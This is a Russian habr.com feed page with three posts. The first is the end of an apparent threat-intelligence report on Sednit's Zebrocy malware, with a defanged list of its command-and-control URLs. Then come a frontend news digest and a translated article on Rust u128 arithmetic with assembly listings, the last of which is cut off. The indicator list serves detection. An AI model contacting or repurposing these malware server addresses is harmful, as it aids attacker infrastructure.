  • имя запланированного задания: Windiws
  • имя функции, получающей системную информацию в загрузчике на AutoIt: _SOFWARE()
  • Mary вместо Merry в Note Letter Mary Christmas Card.doc

Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.

В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это – один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.

Индикаторы компрометации (IoCs)

Вредоносные документы

Загрузчик на Delphi

Загрузчик на AutoIt

Бэкдор на Delphi

Адреса URL

http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php

Метки:
Похожие публикации

Source: habr1

Метки:





Запись опубликована: 21.05.2018

Дайджест свежих материалов из мира фронтенда за последнюю неделю №315 (14 — 20 мая 2018)

Предлагаем вашему вниманию подборку с ссылками на новые материалы из области фронтенда и около него.

    Медиа    |    Веб-разработка    |    CSS    |    Javascript    |    Браузеры    |    Занимательное

Медиа

podcast Подкаст «Frontend Weekend» #53 – Виталий Слободин об истории поддержки PhantomJS и развитии Ростовского IT-сообщества
podcast Подкаст «RadioJS» Выпуск 52: Микросервисы на фронтенде. В гостях Андрей Мелихов и Вячеслав Слинько
podcast Подкаст «CSSSR»: Новости 512 — Выпуск №6 (13.05 — 20.05)
video «ALL YOUR HTML» #49: «Простой шейдер для волн»
habr JS DevDay. Запись докладов

Веб-разработка

habr Frontend 2018: многообразие фреймворков и недостаток миддлов
habr Редизайн с большой буквы: изучаем перезапуск Smashing Magazine в 2017-м
en Медленная смерть Internet Explorer и будущее Progressive Enhancement
en 10 YouTube каналов для изучения основ разработки фронтенда
en Является ли GraphQL будущим?
en Использование Lighthouse для улучшения производительности загрузки страницы
en snippets — расширение для Chrome, позволяющее импортировать и вызывать код JavaScript сниппентов из GitHub

CSS

Более доступная разметка с display:contents
Движение по траектории в CSS помимо «большой тройки» свойств
CSS — это дизайн!
en Руководство по стратегии использования CSS переменных
en Отзывчивые таблицы, переосмысление, новая статья на старую тему от Lea Verou
en CSS свойство backdrop-filter
en Дебаты на тему раскладки CSS Grid против CSS фреймворков
en Управление интерактивностью SVG с помощью свойства Pointer Events
en Более глубокий взгляд на общие названия шрифтов в CSS
en css-paint-polyfill — полифил для CSS Paint API, со специальными браузерными оптимизациями
en Стилизация нумерации в списках

JavaScript

habr 13 интересных моментов из руководства по стилям для JavaScript от Google
Повышаем скилы с помощью методов JavaScript за пару минут
en Что если JavaScript выиграет?
en naperg — Fullstack Boilerplate GraphQL. Сделан на React & Prisma + authentication + upload file + chat
en WarriorJS — занятная игра на JS о программировании и искусственном интеллекте
en ReasonML против TypeScript – первые впечатления
en Играем с MIDI в JavaScript

  • Libs & Plugins:
    en Easy Toggle State — маленькая JS библиотека для простого переключения классов любого HTML элемента и его назначения
    en isomorphic-git — имплементация git на чистом JavaScript
    en Data-Forge — JavaScript инструментарий для перебора, трансформации и анализа данных
    en lynt — линтер без настроек с поддержкой Typescript, Flow и React.

Браузеры

en Что нового в Firefox 61: Developer Edition
Обновление Firefox 60.0.1 и Firefox 61-бета
Из Google Chrome исчезнут значки безопасности соединения на HTTPS-сайтах
Google отключила автоблокировку звука в Chrome 66 из-за конфликта алгоритма с браузерными играми
en Захват экрана в Microsoft Edge

Занимательное

Google представила вторую версию протокола Git
Из-за уязвимости в Electron под угрозой оказались Skype, Slack, WhatsApp, Discord и другие
Что вам стоит знать о GDPR
В августе сторонние клиенты Twitter лишатся ряда функций из-за обновлений API
Google запускает новые тарифы Google One на облачное хранилище Google Drive: 100 ГБ за $1,99, 200 ГБ за $2,99, 2 ТБ за $9,99
Google удалила лозунг «Не будь злом» из своего кодекса поведения. Он пробыл там 18 лет
Сотрудники Google начали увольняться в знак протеста против сотрудничества с Пентагоном в рамках Project Maven

Просим прощения за возможные опечатки или неработающие/дублирующиеся ссылки. Если вы заметили проблему — напишите пожалуйста в личку, мы стараемся оперативно их исправлять.

Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin.

Source: habr1

Метки:





Запись опубликована: 20.05.2018

[Перевод] Как обновление Rust 1.26 ускорило мой код в три с лишним раза

  • Перевод
Хочу поделиться небольшой историей о мощи LLVM и преимуществах языков высокого уровня над ассемблером.

Я работаю в компании Parity Technologies, которая поддерживает клиент Parity Ethereum. В этом клиенте нам нужна быстрая 256-битная арифметика, которую приходится эмулировать на программном уровне, потому что никакое оборудование не поддерживает её аппаратно.

Долгое время мы параллельно делаем две реализации арифметики: одну на Rust для стабильных сборок и одну со встроенным ассемблерным кодом (который автоматически используется nightly-версией компилятора). Мы так поступаем, потому что храним 256-битные числа как массивы 64-битных чисел, а в Rust нет никакого способа умножить два 64-битных числа, чтобы получить результат более 64 бит (так как целочисленные типы Rust только доходят до u64). Это несмотря на то, что x86_64 (наша основная целевая платформа) нативно поддерживает 128-битные результаты вычислений с 64-битными числами. Так что мы разделяем каждое 64-битное число на два 32-битных (потому что можно умножить два 32-битных числа и получить 64-битный результат).

impl U256 {
  fn full_mul(self, other: Self) -> U512 {
    let U256(ref me) = self;
    let U256(ref you) = other;
    let mut ret = [0u64; U512_SIZE];
    for i in 0..U256_SIZE {
      let mut carry = 0u64;
      // `split` splits a 64-bit number into upper and lower halves
      let (b_u, b_l) = split(you[i]);
      for j in 0..U256_SIZE {
        // This process is so slow that it's faster to check for 0 and skip
        // it if possible.
        if me[j] != 0 || carry != 0 {
          let a = split(me[j]);
          // `mul_u32` multiplies a 64-bit number that's been split into
          // an `(upper, lower)` pair by a 32-bit number to get a 96-bit
          // result. Yes, 96-bit (it returns a `(u32, u64)` pair).
          let (c_l, overflow_l) = mul_u32(a, b_l, ret[i + j]);
          // Since we have to multiply by a 64-bit number, we have to do
          // this twice.
          let (c_u, overflow_u) = mul_u32(a, b_u, c_l >> 32);
          ret[i + j] = (c_l & 0xffffffff) + (c_u << 32);
          // Then we have to do this complex logic to set the result. Gross.
          let res = (c_u >> 32) + (overflow_u << 32);
          let (res, o1) = res.overflowing_add(overflow_l + carry);
          let (res, o2) = res.overflowing_add(ret[i + j + 1]);
          ret[i + j + 1] = res;
          carry = (o1 | o2) as u64;
        }
      }
    }
    U512(ret)
  }
}

Вам даже не нужно понимать код, чтобы увидеть, насколько это неоптимально. Проверка выдачи компилятора показывает, что сгенерированный ассемблерный код крайне неоптимален. Он делает много лишней работы, по существу, просто чтобы обойти ограничения Rust. Поэтому мы написали свою версию кода на встроенном ассемблере. Важно использовать именно нашу версию ассемблерного кода, потому что x86_64 изначально поддерживает умножение двух 64-битных значений для получения 128-битного результата. Когда Rust делает a * b, если a и b представлены в формате u64, процессор реально умножает их и получает 128-битный результат, а затем Rust просто выбрасывает верхние 64 бита. Мы хотим оставить эти 64 верхних бита, и единственный способ эффективного доступа к ним — использовать встроенный ассемблерный код.

Как несложно догадаться, наша реализация на ассемблере оказалась намного быстрее:

name            u64.bench ns/iter  inline_asm.bench ns/iter  diff ns/iter   diff %  speedup
 u256_full_mul   243,159            197,396                        -45,763  -18.82%   x 1.23
 u256_mul        268,750            95,843                        -172,907  -64.34%   x 2.80
 u256_mul_small  1,608              789                               -819  -50.93%   x 2.04 

u256_full_mul проверяет функцию выше, u256_mul перемножает два 256-битных числа с получением 256-битного результата (в Rust вы просто создаёте 512-битный результат и отбрасываете верхнюю половину, но на ассемблере у нас отдельная реализация), а u256_mul_small перемножает два маленьких 256-битных числа. Как видите, наш ассемблерный код в 2,8 раза быстрее. Это намного, намного лучше. К сожалению, он работает только в nightly-версии компилятора, и даже в нём только для платформы x86_64. Правда в том, что понадобилось много усилий и куча неудачных попыток, чтобы код Rust стал «хотя бы» вдвое быстрее ассемблера. Просто не существовало хорошего способа передать компилятору необходимые данные.

Всё изменилось в версии Rust 1.26. Теперь мы можем написать a as u128 * b as u128 — и компилятор будет использовать нативное для платформы x86_64 умножение u64-to-u128 (даже хотя вы транслируете оба числа в u128, он понимает, что они «на самом деле» всего u64, а вам просто нужен результат u128). Это значит, что наш код теперь выглядит следующим образом:

impl U256 {
  fn full_mul(self, other: Self) -> U512 {
    let U256(ref me) = self;
    let U256(ref you) = other;
    let mut ret = [0u64; U512_SIZE];
    for i in 0..U256_SIZE {
      let mut carry = 0u64;
      let b = you[i];
      for j in 0..U256_SIZE {
        let a = me[j];
        // This compiles down to just use x86's native 128-bit arithmetic
        let (hi, low) = split_u128(a as u128 * b as u128);
        let overflow = {
          let existing_low = &mut ret[i + j];
          let (low, o) = low.overflowing_add(*existing_low);
          *existing_low = low;
          o
        };
        carry = {
          let existing_hi = &mut ret[i + j + 1];
          let hi = hi + overflow as u64;
          let (hi, o0) = hi.overflowing_add(carry);
          let (hi, o1) = hi.overflowing_add(*existing_hi);
          *existing_hi = hi;
          (o0 | o1) as u64
        }
      }
    }
    U512(ret)
  }
}

Хотя это почти наверняка медленнее, чем нативный для LLVM тип i256, но скорость очень сильно выросла. Здесь мы сравниваем с оригинальной реализацией Rust:

name            u64.bench ns/iter  u128.bench ns/iter  diff ns/iter   diff %  speedup
 u256_full_mul   243,159            73,416                  -169,743  -69.81%   x 3.31
 u256_mul        268,750            85,797                  -182,953  -68.08%   x 3.13
 u256_mul_small  1,608              558                       -1,050  -65.30%   x 2.88 

Что самое замечательное, теперь повышение скорости сделано в стабильной версии компилятора. Поскольку мы компилируем бинарники клиента только стабильной версией, то раньше получить преимущество в скорости могли лишь пользователи, которые сами компилировали клиент из исходников. Поэтому нынешнее улучшение затронуло многих пользователей. Но погодите, это ещё не всё! Новый скомпилированный код со значительным отрывом превосходит и реализацию на ассемблере, даже в тесте перемножения 256-битных чисел с получением 256-битного результата. Это несмотря на то, что код Rust по-прежнему сначала выдаёт 512-битный результат, а затем отбрасывает верхнюю половину, а реализация на ассемблере этого не делает:

name            inline_asm.bench ns/iter  u128.bench ns/iter  diff ns/iter   diff %  speedup
 u256_full_mul   197,396                   73,416                  -123,980  -62.81%   x 2.69
 u256_mul        95,843                    85,797                   -10,046  -10.48%   x 1.12
 u256_mul_small  789                       558                         -231  -29.28%   x 1.41 

Для полного умножения это очень мощное улучшение, тем более что оригинальный код использовал высокооптимизированные ассемблерные инкантации. Теперь слабонервные могут выйти, потому что я собираюсь погрузиться в сгенерированный ассемблер.

Вот написанный вручную ассемблерный код. Я представил его без комментариев, потому что хочу прокомментировать ту версию, которая фактически создаётся компилятором (поскольку, как вы увидите, макрос asm! скрывает больше, чем можно было ожидать):

impl U256 {
  /// Multiplies two 256-bit integers to produce full 512-bit integer
  /// No overflow possible
  pub fn full_mul(self, other: U256) -> U512 {
    let self_t: &[u64; 4] = &self.0;
    let other_t: &[u64; 4] = &other.0;
    let mut result: [u64; 8] = unsafe { ::core::mem::uninitialized() };
    unsafe {
      asm!("
        mov $8, %rax
        mulq $12
        mov %rax, $0
        mov %rdx, $1
        mov $8, %rax
        mulq $13
        add %rax, $1
        adc $$0, %rdx
        mov %rdx, $2
        mov $8, %rax
        mulq $14
        add %rax, $2
        adc $$0, %rdx
        mov %rdx, $3
        mov $8, %rax
        mulq $15
        add %rax, $3
        adc $$0, %rdx
        mov %rdx, $4
        mov $9, %rax
        mulq $12
        add %rax, $1
        adc %rdx, $2
        adc $$0, $3
        adc $$0, $4
        xor $5, $5
        adc $$0, $5
        xor $6, $6
        adc $$0, $6
        xor $7, $7
        adc $$0, $7
        mov $9, %rax
        mulq $13
        add %rax, $2
        adc %rdx, $3
        adc $$0, $4
        adc $$0, $5
        adc $$0, $6
        adc $$0, $7
        mov $9, %rax
        mulq $14
        add %rax, $3
        adc %rdx, $4
        adc $$0, $5
        adc $$0, $6
        adc $$0, $7
        mov $9, %rax
        mulq $15
        add %rax, $4
        adc %rdx, $5
        adc $$0, $6
        adc $$0, $7
        mov $10, %rax
        mulq $12
        add %rax, $2
        adc %rdx, $3
        adc $$0, $4
        adc $$0, $5
        adc $$0, $6
        adc $$0, $7
        mov $10, %rax
        mulq $13
        add %rax, $3
        adc %rdx, $4
        adc $$0, $5
        adc $$0, $6
        adc $$0, $7
        mov $10, %rax
        mulq $14
        add %rax, $4
        adc %rdx, $5
        adc $$0, $6
        adc $$0, $7
        mov $10, %rax
        mulq $15
        add %rax, $5
        adc %rdx, $6
        adc $$0, $7
        mov $11, %rax
        mulq $12
        add %rax, $3
        adc %rdx, $4
        adc $$0, $5
        adc $$0, $6
        adc $$0, $7
        mov $11, %rax
        mulq $13
        add %rax, $4
        adc %rdx, $5
        adc $$0, $6
        adc $$0, $7
        mov $11, %rax
        mulq $14
        add %rax, $5
        adc %rdx, $6
        adc $$0, $7
        mov $11, %rax
        mulq $15
        add %rax, $6
        adc %rdx, $7
        "
      : /* $0 */ "={r8}"(result[0]),  /* $1 */ "={r9}"(result[1]),  /* $2 */ "={r10}"(result[2]),
        /* $3 */ "={r11}"(result[3]), /* $4 */ "={r12}"(result[4]), /* $5 */ "={r13}"(result[5]),
        /* $6 */ "={r14}"(result[6]), /* $7 */ "={r15}"(result[7])
      : /* $8 */ "m"(self_t[0]),   /* $9 */ "m"(self_t[1]),   /* $10 */  "m"(self_t[2]),
        /* $11 */ "m"(self_t[3]),  /* $12 */ "m"(other_t[0]), /* $13 */ "m"(other_t[1]),
        /* $14 */ "m"(other_t[2]), /* $15 */ "m"(other_t[3])
      : "rax", "rdx"
      :
      );
    }
    U512(result)
  }
}

А вот что он генерирует. Я обильно прокомментировал код, чтобы вы могли понять, что происходит, даже если никогда в жизни не работали с ассемблером, но вам понадобится знание некоторых базовых понятий низкоуровневого программирования, таких как разница между памятью и регистрами. Если нужен учебник по структуре CPU, можно начать со статьи Википедии о структуре и реализации процессоров:

bigint::U256::full_mul:
    /// вступление - это генерирует Rust
    pushq  %r15
    pushq  %r14
    pushq  %r13
    pushq  %r12
    subq   $0x40, %rsp
    /// загрузка в регистры входных массивов...
    movq   0x68(%rsp), %rax
    movq   0x70(%rsp), %rcx
    movq   0x78(%rsp), %rdx
    movq   0x80(%rsp), %rsi
    movq   0x88(%rsp), %r8
    movq   0x90(%rsp), %r9
    movq   0x98(%rsp), %r10
    movq   0xa0(%rsp), %r11
    /// ...и немедленно обратно в память
    /// Так делает компилятор Rust. Есть способ
    /// избежать этого, но вернусь к нему позже
    /// Эти четыре представляют первый входной массив
    movq   %rax, 0x38(%rsp)
    movq   %rcx, 0x30(%rsp)
    movq   %rdx, 0x28(%rsp)
    movq   %rsi, 0x20(%rsp)
    /// Эти четыре - выходной массив, который инициализируется
    /// как второй массив на входе.
    movq   %r8,  0x18(%rsp)
    movq   %r9,  0x10(%rsp)
    movq   %r10, 0x8(%rsp)
    movq   %r11, (%rsp)
    /// Этот основной цикл вы увидите много раз,
    /// так что не буду всё время к нему возвращаться.
    ///
    /// for i in 0..U256_SIZE {
    ///     for j in 0..U256_SIZE {
    ///         /* Loop body */
    ///     }
    /// }
    /// Загрузка нулевого элемента входного массива в
    /// регистр "%rax". Первый элемент в реальности уже
    /// в `%rax`, но его загружают всё равно.
    /// Это потому что макрос `asm!` прячет много деталей,
    /// о чём я расскажу позже.
    movq   0x38(%rsp), %rax
    /// Умножение на нулевой элемент выходного массива. Выполняется
    /// в памяти, а не в регистре, и поэтому значительно медленнее.
    /// Опять же, об этом позже.
    mulq   0x18(%rsp)
    /// `mulq` перемножает 64-битные числа и сохраняет нижние и верхние
    /// 64 бита результата в `%rax` и `%rdx`, соответственно. Переносим
    /// нижние биты в `%r8` (нижние 64 бита 512-битного результата),
    /// а верхние в `%r9` (следующие нижние 64 бита результата).
    movq   %rax, %r8
    movq   %rdx, %r9
    /// То же самое делаем для `i = 0, j = 1`
    movq   0x38(%rsp), %rax
    mulq   0x10(%rsp)
    /// Выше мы переместили значения в выходные регистры, на этот раз
    /// нужно добавить результаты в выдачу.
    addq   %rax, %r9
    /// Здесь бы добавляем 0, потому что CPU использует "бит переноса"
    /// (независимо от переполнения предыдущего сложения)
    /// как дополнительный вход. Это по сути то же самое,
    /// что добавить 1 к `rdx`, если предыдущее сложение переполнено.
    adcq   $0x0, %rdx
    /// Затем переносим верхние 64 бита умножения (плюс бит переноса
    /// от сложения) в третьи снизу 64 бита выдачи.
    movq   %rdx, %r10
    /// Затем продолжаем для `j = 2` и `j = 3`
    movq   0x38(%rsp), %rax
    mulq   0x8(%rsp)
    addq   %rax,       %r10
    adcq   $0x0,       %rdx
    movq   %rdx,       %r11
    movq   0x38(%rsp), %rax
    mulq   (%rsp)
    addq   %rax,       %r11
    adcq   $0x0,       %rdx
    movq   %rdx,       %r12
    /// Делаем то же самое для `i = 1`, `i = 2` и `i = 3`
    movq   0x30(%rsp), %rax
    mulq   0x18(%rsp)
    addq   %rax,       %r9
    adcq   %rdx,       %r10
    adcq   $0x0,       %r11
    adcq   $0x0,       %r12
    /// Эти `xor` просто для гарантии обнуления `%r13`. Снова, это
    /// не оптимально (нам вообще не нужно обнулять регистры), но
    /// разберёмся с этим.
    xorq   %r13,       %r13
    adcq   $0x0,       %r13
    xorq   %r14,       %r14
    adcq   $0x0,       %r14
    xorq   %r15,       %r15
    adcq   $0x0,       %r15
    movq   0x30(%rsp), %rax
    mulq   0x10(%rsp)
    addq   %rax,       %r10
    adcq   %rdx,       %r11
    adcq   $0x0,       %r12
    adcq   $0x0,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x30(%rsp), %rax
    mulq   0x8(%rsp)
    addq   %rax,       %r11
    adcq   %rdx,       %r12
    adcq   $0x0,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x30(%rsp), %rax
    mulq   (%rsp)
    addq   %rax,       %r12
    adcq   %rdx,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x28(%rsp), %rax
    mulq   0x18(%rsp)
    addq   %rax,       %r10
    adcq   %rdx,       %r11
    adcq   $0x0,       %r12
    adcq   $0x0,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x28(%rsp), %rax
    mulq   0x10(%rsp)
    addq   %rax,       %r11
    adcq   %rdx,       %r12
    adcq   $0x0,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x28(%rsp), %rax
    mulq   0x8(%rsp)
    addq   %rax,       %r12
    adcq   %rdx,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x28(%rsp), %rax
    mulq   (%rsp)
    addq   %rax,       %r13
    adcq   %rdx,       %r14
    adcq   $0x0,       %r15
    movq   0x20(%rsp), %rax
    mulq   0x18(%rsp)
    addq   %rax,       %r11
    adcq   %rdx,       %r12
    adcq   $0x0,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x20(%rsp), %rax
    mulq   0x10(%rsp)
    addq   %rax,       %r12
    adcq   %rdx,       %r13
    adcq   $0x0,       %r14
    adcq   $0x0,       %r15
    movq   0x20(%rsp), %rax
    mulq   0x8(%rsp)
    addq   %rax,       %r13
    adcq   %rdx,       %r14
    adcq   $0x0,       %r15
    movq   0x20(%rsp), %rax
    mulq   (%rsp)
    addq   %rax,       %r14
    adcq   %rdx,       %r15
    /// Наконец мы всё перенесли из регистров, так что
    /// возвращаем всё на стек
    movq   %r8,   (%rdi)
    movq   %r9,   0x8(%rdi)
    movq   %r10,  0x10(%rdi)
    movq   %r11,  0x18(%rdi)
    movq   %r12,  0x20(%rdi)
    movq   %r13,  0x28(%rdi)
    movq   %r14,  0x30(%rdi)
    movq   %r15,  0x38(%rdi)
    movq   %rdi,  %rax
    addq   $0x40, %rsp
    popq   %r12
    popq   %r13
    popq   %r14
    popq   %r15
    retq   

Как видно из комментариев, в коде много недостатков. Умножение производится на переменные из памяти, а не из регистров, производятся лишние операции store и load, также и CPU вынужден производить много store и load, прежде чем получить «реальный» код (цикл умножения-сложения). Это очень важно: хотя CPU выполняет сохранения и загрузки параллельно с вычислениями, но код написан таким образом, что CPU не начинает расчёты, пока всё не загрузится. Это потому что макрос asm скрывает много деталей. По сути, вы говорите компилятору поместить входные данные куда он хочет, а затем подставить в ваш ассемблерный код с помощью строковых манипуляций. Компилятор сохраняет всё в регистры, но затем мы командуем ему поместить входные массивы в память ("m" перед входными параметрами), чтобы он снова загрузил всё в память. Есть способ оптимизировать этот код, но это очень трудно даже для опытного профессионала. Такой код подвержен ошибкам — если вы не обнулили выходные регистры серией инструкций xor, то код будет иногда глючить, но не всегда, выдавая кажущиеся случайными значения, которые зависят от внутреннего состояния вызывающей функции. Вероятно, его можно ускорить заменой "m" на "r" (я не тестировал, потому что обнаружил это только когда начал проверять для статьи, почему старый ассемблерный код настолько медленнее), но глядя на исходники это не очевидно. Сразу поймёт только специалист с глубоким знанием синтаксиса ассемблера LLVM.

Для сравнения, код Rust с использованием u128 выглядит совершенно понятно: что написано — то и получите. Даже если вы не ставили целью оптимизацию, то вероятно напишете что-то похожее как самое простое решение. В то же время код LLVM очень качественный. Вы можете заметить, что он не слишком отличается от кода, написанного вручную, но решает некоторые проблемы (прокомментированные ниже), а также включает пару оптимизаций, о которых я бы даже не подумал. Я не смог найти никаких существенных оптимизаций, которые он пропустил.

Вот сгенерированный ассемблерный код:

bigint::U256::full_mul:
    /// Вступление
    pushq  %rbp
    movq   %rsp, %rbp
    pushq  %r15
    pushq  %r14
    pushq  %r13
    pushq  %r12
    pushq  %rbx
    subq   $0x48, %rsp
    movq   0x10(%rbp), %r11
    movq   0x18(%rbp), %rsi
    movq   %rsi, -0x38(%rbp)
    /// Я сначала подумал, что тут пропущена оптимизация,
    /// но ему реально нужно это делать (вместо
    /// `movq 0x30(%rbp), %rax`), потому что регистр `%rax` ниже
    /// забивает `mulq`. Это значит, что он может умножить
    /// первый элемент первого массива на любые элементы
    /// без необходимости загружать его из памяти,
    /// как это делает написанный вручную ассемблерный код.
    movq   0x30(%rbp), %rcx
    movq   %rcx,       %rax
    /// LLVM умножает из регистра, а не из памяти
    mulq   %r11
    /// LLVM переносит `%rdx` (верхние биты) в регистр, они
    /// нам позже понадобятся. Он переносит`%rax`
    /// (нижние биты) напрямую в память, потому что
    /// с ними больше не будет никаких операций. Это лучше,
    /// чем перенос в память и из памяти, как мы делали
    /// в предыдущем коде.
    movq   %rdx, %r9
    movq   %rax, -0x70(%rbp)
    movq   %rcx, %rax
    mulq   %rsi
    movq   %rax, %rbx
    movq   %rdx, %r8
    movq   0x20(%rbp), %rsi
    movq   %rcx,       %rax
    mulq   %rsi
    /// LLVM использует регистр `%r13` как промежуточный, потому что
    /// значение в `%r13` позже всё равно понадобится.
    movq   %rsi,       %r13
    movq   %r13,       -0x40(%rbp)
    /// Опять, нужно работать и с нижними, и с верхними битами,
    /// так что LLVM переносит в регистры их обоих.
    movq   %rax,       %r10
    movq   %rdx,       %r14
    movq   0x28(%rbp), %rdx
    movq   %rdx,       -0x48(%rbp)
    movq   %rcx,       %rax
    mulq   %rdx
    movq   %rax,       %r12
    movq   %rdx,       -0x58(%rbp)
    movq   0x38(%rbp), %r15
    movq   %r15,       %rax
    mulq   %r11
    addq   %r9,        %rbx
    adcq   %r8,        %r10
    /// Эти две инструкции записывают флаги в регистр `%rcx`
    pushfq
    popq   %rcx
    addq   %rax, %rbx
    movq   %rbx, -0x68(%rbp)
    adcq   %rdx, %r10
    /// Это записывает флаги из предыдущего вычисления
    /// в `%r8`.
    pushfq
    popq   %r8
    /// LLVM забирает обратно флаги из `%rcx`, а затем
    /// производит сложение с флагом переноса. Это умно.
    /// Так нам не нужно делать странное сложение с нулём,
    /// ведь мы в одной инструкции совмещаем сложение
    /// флага переноса и сложение компонент числа.
    ///
    /// Возможно, способ LLVM и быстрее на современных
    /// процессорах, но хранить это в `%rcx` необязательно,
    /// потому что флаги всё равно окажутся наверху стека
    /// (то есть можно удалить `popq %rcx` выше и этот
    /// `pushq %rcx`, и ничего не изменится). Если это и
    /// медленнее, то разница ничтожна.
    pushq  %rcx
    popfq
    adcq   %r14, %r12
    pushfq
    popq   %rax
    movq   %rax,        -0x50(%rbp)
    movq   %r15,        %rax
    movq   -0x38(%rbp), %rsi
    mulq   %rsi
    movq   %rdx,        %rbx
    movq   %rax,        %r9
    addq   %r10,        %r9
    adcq   $0x0,        %rbx
    pushq  %r8
    popfq
    adcq   $0x0,        %rbx
    /// `setb` используется вместо излишнего обнуления регистров
    /// с последующим добавлением бита переноса. `setb` просто
    /// устанавливает байт 1 по данному адресу, если установлен
    /// флаг переноса (поскольку это по сути `mov`, то такой
    /// способ быстрее обнуления и последующего сложения)
    setb   -0x29(%rbp)
    addq   %r12, %rbx
    setb   %r10b
    movq   %r15, %rax
    mulq   %r13
    movq   %rax, %r12
    movq   %rdx, %r8
    movq   0x40(%rbp), %r14
    movq   %r14, %rax
    mulq   %r11
    movq   %rdx, %r13
    movq   %rax, %rcx
    movq   %r14, %rax
    mulq   %rsi
    movq   %rdx, %rsi
    addq   %r9, %rcx
    movq   %rcx, -0x60(%rbp)
    /// Это по сути хак для сложения `%r12` и `%rbx` и хранения
    /// результата в `%rcx`. Здесь одна инструкция вместо двух,
    /// которые понадобились бы в противном случае. `leaq` это
    /// инструкция взятия адреса, так что строка по сути такая
    /// же, как если бы вы сделали `&((void*)first)[second]` вместо
    /// `first + second` на C. Но в ассемблере нет хаков. Каждый
    /// грязный трюк - это честно.
    leaq   (%r12,%rbx), %rcx
    /// В остальном коде нет никаких новых трюков, только
    /// повторяются старые.
    adcq   %rcx,        %r13
    pushfq
    popq   %rcx
    addq   %rax,        %r13
    adcq   $0x0,        %rsi
    pushq  %rcx
    popfq
    adcq   $0x0,        %rsi
    setb   -0x2a(%rbp)
    orb    -0x29(%rbp), %r10b
    addq   %r12,        %rbx
    movzbl %r10b,       %ebx
    adcq   %r8,         %rbx
    setb   %al
    movq   -0x50(%rbp), %rcx
    pushq  %rcx
    popfq
    adcq   -0x58(%rbp), %rbx
    setb   %r8b
    orb    %al,         %r8b
    movq   %r15,        %rax
    mulq   -0x48(%rbp)
    movq   %rdx,        %r12
    movq   %rax,        %rcx
    addq   %rbx,        %rcx
    movzbl %r8b,        %eax
    adcq   %rax,        %r12
    addq   %rsi,        %rcx
    setb   %r10b
    movq   %r14,        %rax
    mulq   -0x40(%rbp)
    movq   %rax,        %r8
    movq   %rdx,        %rsi
    movq   0x48(%rbp),  %r15
    movq   %r15,        %rax
    mulq   %r11
    movq   %rdx,        %r9
    movq   %rax,        %r11
    movq   %r15,        %rax
    mulq   -0x38(%rbp)
    movq   %rdx,        %rbx
    addq   %r13,        %r11
    leaq   (%r8,%rcx),  %rdx
    adcq   %rdx,        %r9
    pushfq
    popq   %rdx
    addq   %rax,        %r9
    adcq   $0x0,        %rbx
    pushq  %rdx
    popfq
    adcq   $0x0,        %rbx
